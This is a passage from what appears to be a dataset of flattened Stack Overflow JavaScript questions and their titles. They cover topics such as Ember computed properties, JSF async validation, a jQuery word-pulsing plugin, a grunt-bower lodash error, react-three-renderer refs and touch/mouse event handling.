'utils/micky ' ; import componentsMicky from 'components/micky ' ;,Eslint custom import order "JS : Ember uses something like : and things like : I think the fact that you can add a property to the end of a function is quite neat and would like to replicated it.However , I could not find where either of those things are implemented in the source and am wondering if anyone knows ? Also , more importantly , what exactly is going on here ? val : function ( ) { ... } .property ( ) func : function ( ) { } .observes ( 'someValue ' )",How do you replicate something like function ( ) { ... } .property ( ) in javascript like in Ember.js ? "JS : I am working on a web application and I need to be able to keep track of php , css , html and JavaScript lines of code within the /var/www directory.But using the terminal lines of code counter , I naturally feel like writing more lines and spacing out code like : would be done as : In this way I can come up with a very high number of lines without actually doing any real work , is there any way I can count the logical lines of code in the directory ? Is there any program that can do so ? Thanks ! if ( $ var == $ other ) echo ( `` hi '' ) ; if ( $ var == $ other ) { echo ( `` hi '' ) ; }",count logical lines of code in Ubuntu "JS : I have a simple form containing an edit box and a button : When the user clicks on the button , some basic validation is done and if everything is OK , the item is added to a data table : Now , what I want to achieve is when the user enters an item , the first , preliminary , validation is done and if the validation succeeded the item is added to the table where the list is displayed together with the validation status ( e.g . validating , invalid , valid ) . When the item is added to the table , another , more time consuming , validation starts and when the validation completes the itemValidationStatus in the table is updated . I do n't want to block the user during the time consuming validation . Instead I want to allow the user to add more items while the already added items are being validated.I see three ways to solve this : To register some kind of JS observer that will react on an object isbeing updated in the managed beanTo trigger the rendering from the managed bean which would make it possible to spawn a validation thread which would , upon finishing , trigger the renderingThere is some way to asynchronously start the validation via JS and register a callback function that will either trigger the rendering or update the value directlyThe problem is that I ca n't find anything online that would point me in the right direction . I am trying to solve this with plain JSF ( without Prime Faces or similar tools ) .EDIT : I was suggested another question as a possible duplicate ( JSF , refresh periodically a component with ajax ? ) . I am not looking for a solution to poll peridically , but to update when the underlying data changes . And it will only change once so the obvious solution would be an event listener or similar . Of course , this could also be solved by periodical polls but that seems like very low level for what I am after . < h : form id= '' addForm '' > < h : outputLabel value= '' Add item here '' / > < br / > < p > < h : inputText id= '' itemInput '' value= '' # { myController.itemToAdd } '' validator= '' myValidator '' / > < h : message for= '' itemInput '' / > < /p > < h : commandButton value= '' Add '' action= '' # { myController.addItemToList } '' > < f : ajax execute= '' @ form '' render= '' @ form : addedItems '' / > < /h : commandButton > < /h : form > < h : panelGrid id= '' addedItems '' > < h : dataTable value= '' # { myController.itemMap.entrySet ( ) } '' var= '' itemMapEntry '' > < h : column > < f : facet name= '' header '' > < h : outputText value= '' Items '' / > < /f : facet > < h : commandButton value= '' Remove/Modify '' action= '' # { myController.removeItemFromList ( itemMapEntry.getKey ( ) ) } '' > < f : ajax render= '' : addedItems : addForm '' / > < /h : commandButton > < h : outputText value= '' # { itemMapEntry.getKey ( ) } '' / > < /h : column > < h : column > < f : facet name= '' action '' > < h : outputText value= '' '' / > < /f : facet > < h : outputText value= '' # { itemMapEntry.getValue ( ) .toString ( ) } '' id= '' itemValidationStatus '' / > < /h : column > < /h : dataTable > < /h : panelGrid >",Asynchronous validators in JSF "JS : I have been looking at creating a circular menu and so far , I can get the circular positioning working with Javascript but would still be interested in achieving a pure CSS alternative.In my research I discovered this menu : http : //www.cssplay.co.uk/menus/cssplay-round-and-round.html . So that menu has been done by giving every single list item a class with an index ( p1 , p2 , p3 ... ) then the sub circles children have the classes ( s1 , s2 , s3 ... ) . Then the items are -webkit-transformed into place from their class . Is there any way to do this without having to hardcode the clases onto the elements and write out the CSS rules for each type ? If not , what is the best way to do this with JS ? What I have so farI have achieved the desired effect by absolutely positioning the elements with Javascript , however I 'm not really interested in this style of solution . The code looks like : The actual code is a bit more complex because of the object nature of the return of style.width , but as an example this should give you the gist of things . var circles = document.getElementsByClassName ( 'circle ' ) ; var radius = circles.style.height / 2 ; for ( var i = 0 ; i < circles.length ; i++ ) { var items = circles.children ; for ( var i = 0 ; i < items.length ) { items.style.left = 0 + cos ( ( i / items.length ) * 360 ) * radius ; items.style.top = 0 + cos ( ( i / items.length ) * 360 ) * radius ; } }",How is this CSS menu created ? "JS : I 'm doing this plugin that takes the words and makes them pulsate on the screen : First they appear and grow , then they vanish , change place and again appearWorking plugin : If you notice i define the places that the word can grow in the self.possiblePlaces , and if you notice the animation , sometimes more then one word can grow in one place , my goal coming here is ask for help . How I can make two words never grow in the same place ? ? I was trying to do like this : In the defineRandomPlace i pick a random object inside my possiblePlaces array : Notice the delete , first i clone the chosen object , after I delete it but keep his place in the array.After the animation was over , I put the object in the array again , before starting all over again : But it made no difference.Thanks ! ! Pen : http : //codepen.io/anon/pen/waooQB + function ( $ ) { var Pulsate = function ( element ) { var self = this ; self.element = element ; self.max = 70 ; self.min = 0 ; self.speed = 500 ; self.first = true ; self.currentPlace ; self.possiblePlaces = [ { id : 0 , top : 150 , left : 150 , } , { id : 1 , top : 250 , left : 250 , } , { id : 2 , top : 350 , left : 350 , } , { id : 3 , top : 250 , left : 750 , } , { id : 4 , top : 450 , left : 950 , } ] ; } ; Pulsate.prototype.defineRandomPlace = function ( ) { var self = this ; self.currentPlace = self.possiblePlaces [ Math.floor ( Math.random ( ) * self.possiblePlaces.length ) ] ; if ( ! self.possiblePlaces ) self.defineRandomPlace ; self.element.css ( 'top ' , self.currentPlace.top + 'px ' ) ; self.element.css ( 'left ' , self.currentPlace.left + 'px ' ) ; } ; Pulsate.prototype.animateToZero = function ( ) { var self = this ; self.element.animate ( { 'fontSize ' : 0 , 'queue ' : true } , self.speed , function ( ) { self.defineRandomPlace ( ) ; } ) ; } ; Pulsate.prototype.animateToRandomNumber = function ( ) { var self = this ; self.element.animate ( { 'fontSize ' : Math.floor ( Math.random ( ) * ( 70 - 50 + 1 ) + 50 ) , 'queue ' : true } , self.speed , function ( ) { self.first = false ; self.start ( ) ; } ) ; } ; Pulsate.prototype.start = function ( ) { var self = this ; if ( self.first ) self.defineRandomPlace ( ) ; if ( ! self.first ) self.animateToZero ( ) ; self.animateToRandomNumber ( ) ; } ; $ ( window ) .on ( 'load ' , function ( ) { $ ( ' [ data-pulsate ] ' ) .each ( function ( ) { var element = $ ( this ) .data ( 'pulsate ' ) || false ; if ( element ) { element = new Pulsate ( $ ( this ) ) ; element.start ( ) ; } } ) ; } ) ; } ( jQuery ) ; body { background : black ; color : white ; } .word { position : absolute ; text-shadow : 0 0 5px rgba ( 255 , 255 , 255 , 0.9 ) ; font-size : 0px ; } .two { position : absolute ; color : white ; left : 50px ; top : 50px ; } div { margin-left : 0px ; } < span class= '' word '' data-pulsate= '' true '' > Love < /span > < span class= '' word '' data-pulsate= '' true '' > Enjoy < /span > < span class= '' word '' data-pulsate= '' true '' > Huggs < /span > < script src= '' //ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js '' > < /script > Pulsate.prototype.defineRandomPlace = function ( ) { var self = this ; self.currentPlace = self.possiblePlaces [ Math.floor ( Math.random ( ) * self.possiblePlaces.length ) ] ; if ( ! self.possiblePlaces ) self.defineRandomPlace ; delete self.possiblePlaces [ self.currentPlace.id ] ; self.element.css ( 'top ' , self.currentPlace.top + 'px ' ) ; self.element.css ( 'left ' , self.currentPlace.left + 'px ' ) ; } ; Pulsate.prototype.animateToZero = function ( ) { var self = this ; self.element.animate ( { 'fontSize ' : 0 , 'queue ' : true } , self.speed , function ( ) { self.possiblePlaces [ self.currentPlace.id ] = self.currentPlace ; self.defineRandomPlace ( ) ; } ) ;",Make words pulsate and change of place randomly "JS : I am trying to run grunt-bower task for copying all my bower-components.Here 's how my Gruntfile.js looksand my package.jsonI tried resetting_.object = _.zipObject ; but this did not work.Any thoughts or suggestions ? Running `` bower : dev '' ( bower ) taskTypeError : _.object is not a function at Object.exports.getDests ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/lib/helpers.js:131:14 ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:63:35 at Array.forEach ( native ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:59:21 at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4040:15 at baseForOwn ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:2573:24 ) at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4009:18 at Function.forEach ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:7634:11 ) at LodashWrapper.object . ( anonymous function ) [ as each ] ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:13501:25 ) at Logger. < anonymous > ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:37:17 ) at emitOne ( events.js:90:13 ) at Logger.emit ( events.js:182:7 ) at Logger.emit ( /Users/wonoh/cocApp/node_modules/bower-logger/lib/Logger.js:29:39 ) at /Users/wonoh/cocApp/node_modules/bower/lib/commands/list.js:75:16 at _fulfilled ( /Users/wonoh/cocApp/node_modules/q/q.js:798:54 ) at self.promiseDispatch.done ( /Users/wonoh/cocApp/node_modules/q/q.js:827:30 ) at Promise.promise.promiseDispatch ( /Users/wonoh/cocApp/node_modules/q/q.js:760:13 ) at /Users/wonoh/cocApp/node_modules/q/q.js:574:44 at flush ( /Users/wonoh/cocApp/node_modules/q/q.js:108:17 ) at _combinedTickCallback ( internal/process/next_tick.js:67:7 ) at process._tickCallback ( internal/process/next_tick.js:98:9 ) Fail to copy lib file for angular-mocks ! TypeError : _.object is not a function at Object.exports.getDests ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/lib/helpers.js:131:14 ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:63:35 at Array.forEach ( native ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:59:21 at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4040:15 at baseForOwn ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:2573:24 ) at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4009:18 at Function.forEach ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:7634:11 ) at LodashWrapper.object . ( anonymous function ) [ as each ] ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:13501:25 ) at Logger. < anonymous > ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:37:17 ) at emitOne ( events.js:90:13 ) at Logger.emit ( events.js:182:7 ) at Logger.emit ( /Users/wonoh/cocApp/node_modules/bower-logger/lib/Logger.js:29:39 ) at /Users/wonoh/cocApp/node_modules/bower/lib/commands/list.js:75:16 at _fulfilled ( /Users/wonoh/cocApp/node_modules/q/q.js:798:54 ) at self.promiseDispatch.done ( /Users/wonoh/cocApp/node_modules/q/q.js:827:30 ) at Promise.promise.promiseDispatch ( /Users/wonoh/cocApp/node_modules/q/q.js:760:13 ) at /Users/wonoh/cocApp/node_modules/q/q.js:574:44 at flush ( /Users/wonoh/cocApp/node_modules/q/q.js:108:17 ) at _combinedTickCallback ( internal/process/next_tick.js:67:7 ) at process._tickCallback ( internal/process/next_tick.js:98:9 ) Fail to copy lib file for angular ! TypeError : _.object is not a function at Object.exports.getDests ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/lib/helpers.js:131:14 ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:63:35 at Array.forEach ( native ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:59:21 at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4040:15 at baseForOwn ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:2573:24 ) at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4009:18 at Function.forEach ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:7634:11 ) at LodashWrapper.object . ( anonymous function ) [ as each ] ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:13501:25 ) at Logger. < anonymous > ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:37:17 ) at emitOne ( events.js:90:13 ) at Logger.emit ( events.js:182:7 ) at Logger.emit ( /Users/wonoh/cocApp/node_modules/bower-logger/lib/Logger.js:29:39 ) at /Users/wonoh/cocApp/node_modules/bower/lib/commands/list.js:75:16 at _fulfilled ( /Users/wonoh/cocApp/node_modules/q/q.js:798:54 ) at self.promiseDispatch.done ( /Users/wonoh/cocApp/node_modules/q/q.js:827:30 ) at Promise.promise.promiseDispatch ( /Users/wonoh/cocApp/node_modules/q/q.js:760:13 ) at /Users/wonoh/cocApp/node_modules/q/q.js:574:44 at flush ( /Users/wonoh/cocApp/node_modules/q/q.js:108:17 ) at _combinedTickCallback ( internal/process/next_tick.js:67:7 ) at process._tickCallback ( internal/process/next_tick.js:98:9 ) Fail to copy lib file for angular-route ! TypeError : _.object is not a function at Object.exports.getDests ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/lib/helpers.js:131:14 ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:63:35 at Array.forEach ( native ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:59:21 at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4040:15 at baseForOwn ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:2573:24 ) at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4009:18 at Function.forEach ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:7634:11 ) at LodashWrapper.object . ( anonymous function ) [ as each ] ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:13501:25 ) at Logger. < anonymous > ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:37:17 ) at emitOne ( events.js:90:13 ) at Logger.emit ( events.js:182:7 ) at Logger.emit ( /Users/wonoh/cocApp/node_modules/bower-logger/lib/Logger.js:29:39 ) at /Users/wonoh/cocApp/node_modules/bower/lib/commands/list.js:75:16 at _fulfilled ( /Users/wonoh/cocApp/node_modules/q/q.js:798:54 ) at self.promiseDispatch.done ( /Users/wonoh/cocApp/node_modules/q/q.js:827:30 ) at Promise.promise.promiseDispatch ( /Users/wonoh/cocApp/node_modules/q/q.js:760:13 ) at /Users/wonoh/cocApp/node_modules/q/q.js:574:44 at flush ( /Users/wonoh/cocApp/node_modules/q/q.js:108:17 ) at _combinedTickCallback ( internal/process/next_tick.js:67:7 ) at process._tickCallback ( internal/process/next_tick.js:98:9 ) Fail to copy lib file for bootstrap ! TypeError : _.object is not a function at Object.exports.getDests ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/lib/helpers.js:131:14 ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:63:35 at Array.forEach ( native ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:59:21 at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4040:15 at baseForOwn ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:2573:24 ) at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4009:18 at Function.forEach ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:7634:11 ) at LodashWrapper.object . ( anonymous function ) [ as each ] ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:13501:25 ) at Logger. < anonymous > ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:37:17 ) at emitOne ( events.js:90:13 ) at Logger.emit ( events.js:182:7 ) at Logger.emit ( /Users/wonoh/cocApp/node_modules/bower-logger/lib/Logger.js:29:39 ) at /Users/wonoh/cocApp/node_modules/bower/lib/commands/list.js:75:16 at _fulfilled ( /Users/wonoh/cocApp/node_modules/q/q.js:798:54 ) at self.promiseDispatch.done ( /Users/wonoh/cocApp/node_modules/q/q.js:827:30 ) at Promise.promise.promiseDispatch ( /Users/wonoh/cocApp/node_modules/q/q.js:760:13 ) at /Users/wonoh/cocApp/node_modules/q/q.js:574:44 at flush ( /Users/wonoh/cocApp/node_modules/q/q.js:108:17 ) at _combinedTickCallback ( internal/process/next_tick.js:67:7 ) at process._tickCallback ( internal/process/next_tick.js:98:9 ) Fail to copy lib file for jquery ! TypeError : _.object is not a function at Object.exports.getDests ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/lib/helpers.js:131:14 ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:63:35 at Array.forEach ( native ) at /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:59:21 at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4040:15 at baseForOwn ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:2573:24 ) at /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:4009:18 at Function.forEach ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:7634:11 ) at LodashWrapper.object . ( anonymous function ) [ as each ] ( /Users/wonoh/cocApp/node_modules/grunt-legacy-util/node_modules/lodash/lodash.js:13501:25 ) at Logger. < anonymous > ( /Users/wonoh/cocApp/node_modules/grunt-bower/tasks/bower.js:37:17 ) at emitOne ( events.js:90:13 ) at Logger.emit ( events.js:182:7 ) at Logger.emit ( /Users/wonoh/cocApp/node_modules/bower-logger/lib/Logger.js:29:39 ) at /Users/wonoh/cocApp/node_modules/bower/lib/commands/list.js:75:16 at _fulfilled ( /Users/wonoh/cocApp/node_modules/q/q.js:798:54 ) at self.promiseDispatch.done ( /Users/wonoh/cocApp/node_modules/q/q.js:827:30 ) at Promise.promise.promiseDispatch ( /Users/wonoh/cocApp/node_modules/q/q.js:760:13 ) at /Users/wonoh/cocApp/node_modules/q/q.js:574:44 at flush ( /Users/wonoh/cocApp/node_modules/q/q.js:108:17 ) at _combinedTickCallback ( internal/process/next_tick.js:67:7 ) at process._tickCallback ( internal/process/next_tick.js:98:9 ) Fail to copy lib file for lodash ! Done . module.exports = function ( grunt ) { var _ = require ( `` lodash '' ) ; _.object = _.zipObject ; grunt.initConfig ( { `` bower '' : { `` dev '' : { `` dest '' : `` dist/vendor/js '' , `` css_dest '' : `` dist/vendor/css '' , `` fonts_dest '' : `` dist/fonts '' } } } ) ; grunt.loadNpmTasks ( `` grunt-bower '' ) ; grunt.registerTask ( `` default '' , [ `` bower '' ] ) ; } ; { `` name '' : `` coc-app '' , `` version '' : `` 1.0.0 '' , `` description '' : `` Clash of Clans Application '' , `` main '' : `` index.js '' , `` scripts '' : { `` test '' : `` echo \ '' Error : no test specified\ '' & & exit 1 '' } , `` author '' : `` '' , `` license '' : `` private '' , `` dependencies '' : { `` body-parser '' : `` ^1.15.0 '' , `` cookie-parser '' : `` ^1.4.1 '' , `` express '' : `` ^4.13.4 '' , `` jade '' : `` ^1.11.0 '' , `` lodash '' : `` > =3.0.0 < 4.0.0 '' } , `` devDependencies '' : { `` grunt '' : `` ^1.0.1 '' , `` grunt-bower '' : `` ^0.21.0 '' , `` grunt-contrib-concat '' : `` ^1.0.1 '' } } var _ = require ( `` lodash '' ) ;",Running grunt-bower throws _.object is not a function error "JS : Consider the following excerpt from ECMA-262 v5.1 ( which I recently saw in this question ) : A Lexical Environment is a specification type used to define the association of Identifiers to specific variables and functions based upon the lexical nesting structure of ECMAScript code . A Lexical Environment consists of an Environment Record and a possibly null reference to an outer Lexical Environment . Usually a Lexical Environment is associated with some specific syntactic structure of ECMAScript code such as a FunctionDeclaration , a WithStatement , or a Catch clause of a TryStatement and a new Lexical Environment is created each time such code is evaluated.I thought that meant the body of catch clauses would hoist its own variables like functions do , but apparently that 's not the case : Does anybody know why ? Also , why does a catch clause need its own lexical environment ? var a = 1 ; try { console.log ( x ) ; // ReferenceError } catch ( ex ) { console.log ( a ) ; // 1 , not undefined var a = 3 ; }",Why do catch clauses have their own lexical environment ? "JS : I have a table in HTML written as such : Which gives me this : I use this script to make the table interactive . It works quite nicely , but I 'm wondering how I 'd go about resetting the table after the modal is submitted or closed ? Otherwise the same values will persist when the user opens the modal again . < table id= '' spreadsheet '' class= '' table table-striped '' cellspacing= '' 0 '' width= '' 100 % '' > < thead > < tr > < th id= '' spreadsheet-year '' > 2015 < /th > < th > Month ( Est ) < /th > < th > Month ( Act ) < /th > < th > YTD ( Est ) < /th > < th > YTD ( Act ) < /th > < th > Full Year ( Est ) < /th > < th > Full Year ( Act ) < /th > < /tr > < /thead > < tbody > < tr > < td > Jan < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < /tr > < tr > < td > Feb < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < /tr > < tr > < td > Mar < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < /tr > < tr > < td > Apr < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < td > 0 < /td > < /tr > ... ... ... < /tbody > < /table >",How do I reset an HTML5 table with jQuery ? "JS : I 'm using react-three-renderer ( npm , github ) for building a scene with three.js.I 'm having a problem that I 've boiled down to an MVCE . Refs are n't updating in the sequence I expect them to . First , here 's the main code to look at : This renders a basic scene with a green box , a fork of the example on react-three-renderer 's github landing page . The button on the top left toggles the shape in the scene to be a blue circle , and if clicked again , back to the green box . I 'm doing some logging in the ref callbacks and in componentDidUpdate . Here 's where the core of the problem I 'm encountering occurs . After clicking the toggle button for the first time , I expect the ref for the shape to be pointing to the circle . But as you can see from the logging , in componentDidUpdate the ref is still pointing to the box : componentDidUpdate : the active shape is boxLogging in lines after that reveals the ref callbacks are hitbox ref null [ React calls null on the old ref to prevent memory leaks ] circle ref [ object Object ] You can drop breakpoints in to verify and to inspect . I would expect these two things to happen before we enter componentDidUpdate , but as you can see , it 's happening in reverse . Why is this ? Is there an underlying issue in react-three-renderer ( if so , can you diagnose it ? ) , or am I misunderstanding React refs ? The MVCE is available in this github repository . Download it , run npm install , and open _dev/public/home.html.Thanks in advance . var React = require ( 'react ' ) ; var React3 = require ( 'react-three-renderer ' ) ; var THREE = require ( 'three ' ) ; var ReactDOM = require ( 'react-dom ' ) ; class Simple extends React.Component { constructor ( props , context ) { super ( props , context ) ; // construct the position vector here , because if we use 'new ' within render , // React will think that things have changed when they have not . this.cameraPosition = new THREE.Vector3 ( 0 , 0 , 5 ) ; this.state = { shape : 'box ' } ; this.toggleShape = this.toggleShape.bind ( this ) ; } toggleShape ( ) { if ( this.state.shape === 'box ' ) { this.setState ( { shape : 'circle ' } ) ; } else { this.setState ( { shape : 'box ' } ) ; } } renderShape ( ) { if ( this.state.shape === 'box ' ) { return < mesh > < boxGeometry width= { 1 } height= { 1 } depth= { 1 } name='box ' ref= { ( shape ) = > { this.shape = shape ; console.log ( 'box ref ' + shape ) ; } } / > < meshBasicMaterial color= { 0x00ff00 } / > < /mesh > ; } else { return < mesh > < circleGeometry radius= { 2 } segments= { 50 } name='circle ' ref= { ( shape ) = > { this.shape = shape ; console.log ( 'circle ref ' + shape ) ; } } / > < meshBasicMaterial color= { 0x0000ff } / > < /mesh > } } componentDidUpdate ( ) { console.log ( 'componentDidUpdate : the active shape is ' + this.shape.name ) ; } render ( ) { const width = window.innerWidth ; // canvas width const height = window.innerHeight ; // canvas height var position = new THREE.Vector3 ( 0 , 0 , 10 ) ; var scale = new THREE.Vector3 ( 100,50,1 ) ; var shape = this.renderShape ( ) ; return ( < div > < button onClick= { this.toggleShape } > Toggle Shape < /button > < React3 mainCamera= '' camera '' width= { width } height= { height } onAnimate= { this._onAnimate } > < scene > < perspectiveCamera name= '' camera '' fov= { 75 } aspect= { width / height } near= { 0.1 } far= { 1000 } position= { this.cameraPosition } / > { shape } < /scene > < /React3 > < /div > ) ; } } ReactDOM.render ( < Simple/ > , document.querySelector ( '.root-anchor ' ) ) ;",React-Three-Renderer refs not current in componentDidUpdate ( MVCE included ) "JS : I 've been building a basic live-evaluation javascript development environment ( I call it the WEPL . ) over the past few days , and realized it 'd be nice to be able to associate error messages to line numbers . Unfortunately , eval ( ) does n't provide a nice way to do this , that I can find.The solution I 've come up with so far is to transform the source before eval ( ) so that it 's a set of nested calls to a wrapper to eval ( ) that records some information before eval , checks to see if the eval succeeds , and then uses that info to output more useful troubleshooting information to the user.My question is , why might this be a bad idea ? What problems do I need to solve to make sure this works well ? An example of the sort of transformation I mean , just to make this concrete.Thisbecomes thisWhere I obviously did n't wrap the highest level , though I could 've , and the programmatic version would . if ( cond ) { return foo + bar ; } else { return baz + quux ; } if ( myEval ( 'cond ' ) ) { return myEval ( `` myEval ( \ '' foo\ '' ) + myEval ( \ '' bar\ '' ) '' ) ; else { return myEval ( `` myEval ( \ '' baz\ '' ) + myEval ( \ '' quux\ '' ) '' ) ; }",Is recursive use of eval ( ) an alright way to inspect the execution of a program ? "JS : whats the best practice to use these ? vsthe above needs to be initiated : can someone help me explain the importance of the two , and which one is preferred choice within the oop community ? any word of wisdom would help . i also did some research but nothing came up . much thought is appreciated . var x = { a : ' a ' , eat : function ( ) { } , ... } var x = function ( ) { var a = ' a ' ; this.eat = function ( ) { } } new x ( ) ;",Javascript literal vs function oop "JS : I am trying to modify the web_tree_image widget . Instead of just showing a small image in the column , I would like a larger image to appear when hovering or clicking . In order to achieve this , I am trying to add a callback after the widget is rendered , by overriding the start function , as explained in the documentation.I therefore added the following code to web_tree_image.js : However , the start function is never called , so this does not work.I have n't fully understood the code path that usually leads to start being called , but it seems that it is somehow different for web.list.Column.Should start be called and I am doing something wrong ? Or is there another way of executing code after the DOM elements have been created ? openerp.web_tree_image = function ( instance ) { instance.web.list.Image = instance.web.list.Column.extend ( { // [ ... ] start : function ( ) { console.log ( `` start called '' ) ; // [ ... add callbacks ... ] } , // [ ... ] } ) ; } ;",Add callback to DOM element created in subclass of web.list.Column "JS : I 've got an issue while I 'm trying to combine touchstart and mousedown in 1 function . I 've used an a tag as the target element of the function for going to the link directly when I touched or clicked the tag . The issue is when I touch the middle of a tag , link does n't respond . it only works when I click the element or touch the edge of the a tag , and the output fires mousedown.In the mobile mode , try to click the edge of a tag as much as you would possible like a grey dot in the picture above . I 've created an CodePen example for looking , testing and understanding better . How would I fix this issue ? ========= Progress Update ==========I 've just added move & end function then I have to click twice for moving on to the linked website . It keeps getting worse and have no idea how to solve this issue.======== Progress Updated After Bounty ( Latest ) ========After dozens of tried , I 've finally figured out and solve the previous problem but I 've faced up a new issue that ca n't draggable and redirecting instantly.When I use the preventDefault in the start function , all of the events work fine . The only issue of this case is dragging does n't prevent redirecting link from the a tag . It always send me to the website no matter which ways to call the functions , clicked or dragged.when I do n't use the preventDefault , dragging does n't work . it only works clicking the elements.My final goal is to prevent redirecting link of the a tag from the both events , touchmove and mousemove . I 've been searched about on google so many times but have n't got any of the clues.I 've written an example in Codepen and this is what I 've done so far : class Slider { constructor ( $ el , paragraph ) { this. $ el = $ el ; this.paragraph = paragraph ; } start ( e ) { e.preventDefault ( ) ; var type = e.type ; if ( type === 'touchstart ' || type === 'mousedown ' ) this.paragraph.text ( this.paragraph.text ( ) + ' ' + type ) ; return false ; } apply ( ) { this. $ el.bind ( 'touchstart mousedown ' , ( e ) = > this.start ( e ) ) ; } } const setSlider = new Slider ( $ ( ' # anchor ' ) , $ ( '.textbox ' ) , { passive : false } ) ; setSlider.apply ( ) ; a { display : block ; width : 100px ; height : 100px ; background-color : orange ; } < a id= '' anchor '' href= '' https : //google.co.uk '' > Tap or Click Me < /a > < p class= '' textbox '' > < /p > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > class Slider { constructor ( $ el , paragraph ) { this. $ el = $ el ; this.paragraph = paragraph ; } start ( e ) { e.preventDefault ( ) ; var type = e.type ; if ( type === 'touchstart ' || type === 'mousedown ' ) this.paragraph.text ( this.paragraph.text ( ) + ' ' + type ) ; this. $ el.bind ( 'touchmove mousemove ' , ( e ) = > this.move ( e ) ) ; this. $ el.bind ( 'touchend mouseup ' , ( e ) = > this.end ( e ) ) ; return false ; } move ( e ) { var type = e.type ; if ( type === 'touchstart ' || type === 'mousedown ' ) this.paragraph.text ( this.paragraph.text ( ) + ' ' + type ) ; return false ; } end ( e ) { console.log ( 'test ' ) ; this. $ el.on ( 'click ' ) ; this. $ el.off ( 'touchstart touchend ' ) ; return false ; } apply ( ) { this. $ el.bind ( 'touchstart || mousedown ' , ( e ) = > this.start ( e ) ) ; } } const setSlider = new Slider ( $ ( ' # anchor ' ) , $ ( '.textbox ' ) ) ; setSlider.apply ( ) ; class Slider { constructor ( $ el , paragraph ) { this. $ el = $ el ; this.paragraph = paragraph ; } start ( e ) { var type = e.type ; if ( type === 'touchstart ' ) { this.paragraph.text ( this.paragraph.text ( ) + ' ' + type ) ; } else if ( type === 'mousedown ' ) { this.paragraph.text ( this.paragraph.text ( ) + ' ' + type ) ; } } move ( e ) { var type = e.type ; } end ( e ) { var type = e.type ; if ( type === 'touchend ' ) { console.log ( 'touchstart enabled ' ) ; } else if ( type === 'mouseup ' ) { console.log ( 'mousedown enabled ' ) ; } } apply ( ) { this. $ el.bind ( { touchstart : ( e ) = > this.start ( e ) , touchmove : ( e ) = > this.move 